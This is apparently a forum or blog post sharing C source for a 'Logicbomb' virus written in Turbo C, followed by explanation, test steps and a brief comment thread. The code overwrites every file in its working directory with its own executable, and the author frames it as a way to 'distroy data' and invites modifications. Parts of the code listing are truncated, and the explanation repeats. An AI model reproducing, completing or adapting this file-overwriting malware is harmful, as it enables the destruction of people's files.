Hi friends,
here is a simple virus code for beginers of c,the code is written in Turbo c.I hav restricted it to affect current working directory onlyYou can midify this code.i have named it as Logicbomb and can be used to distroy data your ideas are welcome ,scrap me or mail me @ riteshsanap@gmail.com enjoy!
How it works?
The working logic is very simple the program get its name through
command line argument and using findfirst(),findnext() functions files in current working directery are fetched and are replaced by our program So the target file will become our program
How to test?
1>write the above source code in Turbo c editer name the file as logicbomb.c (or you may choose your own)
2>remember thatDO NOT RUN THE CODE by pressing ctrl+F9 the code will run and may affect your files,goto complie menu click build all,so .exe file of our code will be created
3>create a folder say "test",put the .exe file of our program in that folder also put some other files,run our logicbomb.exe file ,all files in folder r attacked
| source code #include #include #include #include #include void main(int argc,char* argv[]) { char buf[512]; int source,target,byt,done; struct ffblk ffblk; clrscr(); textcolor(2); cprintf("------------------------------- printf("\nVirus: Logicbomb 1.0\nProgrammer:Ritesh Sanap(riteshsanap@gmail.com cprintf("------------------------------- done = findfirst("*.*",&ffblk,0); while (!done) { printf("\n");cprintf(" %s ", ffblk.ff_name);printf("is attacked by ");cprintf("Logicbomb"); source=open(argv[0],O_RDONLY|O_BINARY); target=open(ffblk.ff_name,O_CREAT|O_BINA while(1) {byt=read(source,buf,512); if(byt>0) write(target,buf,byt); else break; } close(source); close(target); done = findnext(&ffblk); } getch(); } |
How it works?
The working logic is very simple the program get its name through
command line argument and using findfirst(),findnext() functions files in current working directery are fetched and are replaced by our program So the target file will become our program
How to test?
1>write the above source code in Turbo c editer name the file as logicbomb.c (or you may choose your own)
2>remember thatDO NOT RUN THE CODE by pressing ctrl+F9 the code will run and may affect your files,goto complie menu click build all,so .exe file of our code will be created
3>create a folder say "test",put the .exe file of our program in that folder also put some other files,run our logicbomb.exe file ,all files in folder r attacked
Filed Under :



printf("\nVirus: Logicbomb 1.0\nProgrammer:Ritesh Sanap(riteshsanap@gmail.com)\n"); for what??
@Alex77
Hey this tells a About the Virus and its programmer you can change the value to whatever you want.